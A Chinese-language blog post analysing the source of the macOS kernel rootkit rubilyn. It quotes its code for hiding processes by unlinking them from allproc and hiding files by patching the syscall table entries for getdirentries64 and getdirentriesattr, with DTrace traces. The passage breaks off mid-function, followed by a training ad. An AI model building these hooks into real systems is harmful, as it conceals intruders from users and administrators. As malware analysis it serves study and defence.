【标题】:MacOSX rootkit rubilyn 源码分析
【作者】:riusksk
【博客】:
【微博】:
【日期】:2013-01-01
1、隐藏进程
在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。
/* modify allproc to hide a specific pid */
static int hideproc(int pid)
{
struct proc* p;
if(pid!=0){
// lh.first 指向allproc链表中的第1个元素,而p_list.le_next指向下个proc结构
for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)
{
if(pid == p->p_pid)
{
if(hidden_p_count < MAX_HIDDEN_PROCESS)
{
hidden_p[hidden_p_count]=p;
hidden_p_count++;
my_proc_list_lock();
LIST_REMOVE(p, p_list); // 移除p_list结构中关于p进程的元素
my_proc_list_unlock();
}
}
}
}
return 0;
}
2、隐藏文件
为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况:
下面是 calltrace.d 脚本内容:
riusksk@macosx:/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d
pid$target:::entry
{
;
}
pid$target:::return
{
printf("=%d\n", arg1);
}
下面是查看finder进程2841的调用函数:
riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes
2 1078881 getdirentriesattr:entry
2 1363229 getdirentriesattr:return =1
……
下面是ls命令(64位系统)调用的函数:
riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes
dtrace: pid 3184 has exited
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =1980
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =0
因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:
struct sysent { /* system call table */
int16_t sy_narg; /* number of args */
int8_t sy_resv; /* reserved */
int8_t sy_flags; /* flags */
sy_call_t *sy_call; /* implementing function */
sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */
sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */
int32_t sy_return_type; /* system call return types */
uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */
};
为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:
riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir
#define SYS_getdirentries 196
#define SYS_getdirentriesattr 222
#define SYS_getdirentries64 344
下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64 和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:
if(nsysent){
table = find_sysent();
if(table){
/* back up original syscall pointers */
org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; // 保存原系统函数地址
org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call;
/* replace syscalls in syscall table */
table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64; // 替换原系统函数
table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;
两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:
struct dirent {
__uint32_t d_fileno; // 节点号
__uint16_t d_reclen; // 目录项长度
__uint8_t d_type; // 文件类型
__uint8_t d_namlen; // 文件名
#if __BSD_VISIBLE
#define MAXNAMLEN 255
char d_name[MAXNAMLEN+1]; // 文件名
#else
char d_name[255+1]; // 文件名
#endif
}
此处我们只看下 new_getdirentries64 函数,
/* hooked getdirentries64 and friends */
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)
{
int ret;
u_int64_t bcount = 0;
u_int64_t btot = 0;
size_t buffersize = 0;
struct direntry *dirp;
void *mem = NULL;
int updated = 0;
ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息
btot = buffersize = bcount = *retval; // 函数返回的字节数
if(bcount > 0)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课